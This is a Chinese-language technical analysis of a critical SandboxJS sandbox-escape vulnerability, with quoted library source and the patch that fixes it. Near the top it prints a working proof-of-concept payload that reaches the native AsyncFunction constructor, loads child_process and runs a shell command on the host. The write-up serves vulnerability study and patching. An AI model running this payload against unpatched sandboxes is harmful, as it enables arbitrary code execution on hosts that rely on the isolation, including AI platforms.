漏洞简介

SandboxJS是一款用于安全执行不可信JavaScript代码的沙箱库。该库在0.8.26版本之前存在一个严重的设计缺陷,攻击者可利用该漏洞通过异步函数实例的.constructor属性获取原生的AsyncFunction构造函数,并借此创建在沙箱全局作用域下执行的函数,从而完全绕过所有沙箱限制,在主机环境中实现任意代码执行。

和vm2差不多,被用于各种AI平台进行环境隔离

漏洞影响

评分:10.0

影响:<0.8.26

漏洞分析

攻击者输入

const maliciousCode = `
    const af = async () => {};
    const NativeAsyncFunction = af.constructor;
    const escapeFunc = NativeAsyncFunction("return process.mainModule.require('child_process')");
    const result = await escapeFunc();
    return result.execSync('whoami').toString();
`;

const compiled = sandbox.compile(maliciousCode);

初始化沙箱环境

创建eval上下文,只有同步Function的安全版本,没有sandboxAsyncFunction

调用父类,传入不完整的eval上下文

编译

攻击者的代码调用compile方法

这里先解析用户代码为AST,然后走到闭包函数

每次调用都会创建新的执行上下文

最后返回闭包exec

AST:

[
  // const af = async () => {};
  [LispType.Const, "af", 
    [LispType.ArrowFunction, ["async", ""], []]
  ],
  
  // const NativeAsyncFunction = af.constructor;
  [LispType.Const, "NativeAsyncFunction",
    [LispType.Prop, 
      [LispType.Identifier, "af"], 
      "constructor"            
    ]
  ],
  
  [LispType.Const, "escapeFunc",
    [LispType.Call,
      [LispType.Identifier, "NativeAsyncFunction"],
      [LispType.StringIndex, "0"]                 
    ]
  ],
  
  //...
]

来看看解析用户代码的方法parse

先提取字符串、正则表达式、模板字面量

然后将模板字面量中的JavaScript代码也转换为Lisp树

最后将代码转换为Lisp树

然后是创建上下文的createExecContext

if (evalContext) {
    const func = evalContext.sandboxFunction(execContext);
    evals.set(Function, func);
    evals.set(eval, evalContext.sandboxedEval(func));
    evals.set(setTimeout, evalContext.sandboxedSetTimeout(func));
    evals.set(setInterval, evalContext.sandboxedSetInterval(func));
  }

可以看到在这里只设置了Function,没有设置AsyncFunction(漏洞点),因此返回的执行上下文是有漏洞的

此时的evals映射表是没有AsyncFunction安全版本的

执行阶段

在这里 调用executor.ts中的executeTree函数开始执行AST树

这是执行的入口,调用_executeWithDoneSync方法

在该方法中通过一个for循环遍历执行每个AST节点

处理异步函数

执行到

const af = async () => {};

const isAsync = a.shift();

检查是否是async函数

if (isAsync === LispType.True) {
      func = createFunctionAsync(a as string[], b, ticks, context, scope, name);
    } else {
      func = createFunction(a as string[], b, ticks, context, scope, name);
    }

如果是async函数就创建异步函数,不是就创建同步函数

这是我们创建的异步函数

这里会创建异步闭包函数,并在沙箱环境中异步执行函数体,最后注册为安全函数

内部创建的异步函数类似:

async function sandboxedAsyncFunc(...args) {
  const vars = {
    arg1: args[0],
    arg2: args[1],
    // ...
  };

在沙箱环境中执行函数体

const result = await executeTreeAsync(ticks, context, parsed, [new Scope(scope, vars)]);
  return result;

漏洞触发

当执行到af.constructor时

a=af	//asyncFunc
b=constructor
if (prototypeAccess) {
    if (isFunction) {
      if (!['name', 'length', 'constructor'].includes(b) && (a.hasOwnProperty(b) || b === '__proto__')) {
        const whitelist = context.ctx.prototypeWhitelist.get(a.prototype);
        const replace = context.ctx.options.prototypeReplacements.get(a);
        if (replace) {
          done(undefined, new Prop(replace(a, true), b));
          return;
        }
        if (!(whitelist && (!whitelist.size || whitelist.has(b)))) {
          throw new SandboxError(`Static method or property access not permitted: ${a.name}.${b}`);
        }
      }
    } else if (b !== 'constructor') {
      let prot = a;
      while ((prot = Object.getPrototypeOf(prot))) {
        if (prot.hasOwnProperty(b)) {
          const whitelist = context.ctx.prototypeWhitelist.get(prot);
          const replace = context.ctx.options.prototypeReplacements.get(prot.constuctor);
          if (replace) {
            done(undefined, new Prop(replace(a, false), b));
            return;
          }
          if (whitelist && (!whitelist.size || whitelist.has(b))) {
            break;
          }
          throw new SandboxError(
            `Method or property access not permitted: ${prot.constructor.name}.${b}`
          );
        }
      }
    }
  }

constructor 属性被特殊处理,没有进行充分的安全检查!

if (context.evals.has(a[b])) {
    done(undefined, context.evals.get(a[b]));
    return;
  }

检查 evals 映射表中是否有 AsyncFunction 键

done(undefined, new Prop(a, b, false, false));

继续执行代码到这里,返回 Prop 对象

进Prop看看

return (ctx as any)[this.prop] as T;

相当于asyncFunc.constructor,返回原生的AsyncFunction构造函数

调用原生构造函数

当执行到 NativeAsyncFunction时

a = 原生AsyncFunction构造函数
  b = 参数数组 ["return process.mainModule.require('child_process')"]
done(undefined, obj.context[obj.prop](...vals));

调用原生构造函数,相当于

AsyncFunction("return process.mainModule.require('child_process')")

命令执行

此时相当于

const escapeFunc=async function(){}.constructor;
const result = await escapeFunc();
    return result.execSync('whoami').toString();

执行函数,获得全局对象访问权限,达到命令执行

漏洞修复

export interface IEvalContext {
  sandboxFunction: typeof sandboxFunction;
  sandboxAsyncFunction: typeof sandboxAsyncFunction;
  sandboxedEval: typeof sandboxedEval;
  sandboxedSetTimeout: typeof sandboxedSetTimeout;
  sandboxedSetInterval: typeof sandboxedSetInterval;
  lispifyFunction: typeof lispifyFunction;
}

新增函数安全版本

export function createEvalContext(): IEvalContext {
  return {
    sandboxFunction,
    sandboxAsyncFunction,
    sandboxedEval,
    sandboxedSetTimeout,
    sandboxedSetInterval,
    lispifyFunction,
  };
}

扩展上下文创建

新增安全异步函数构造函数,新增关键映射

修复 createExecContext 函数

参考

https://github.com/nyariv/SandboxJS/commit/345aee6566e47979dee5c337b925b141e7f78ccd

https://github.com/nyariv/SandboxJS/security/advisories/GHSA-wxhw-j4hc-fmq6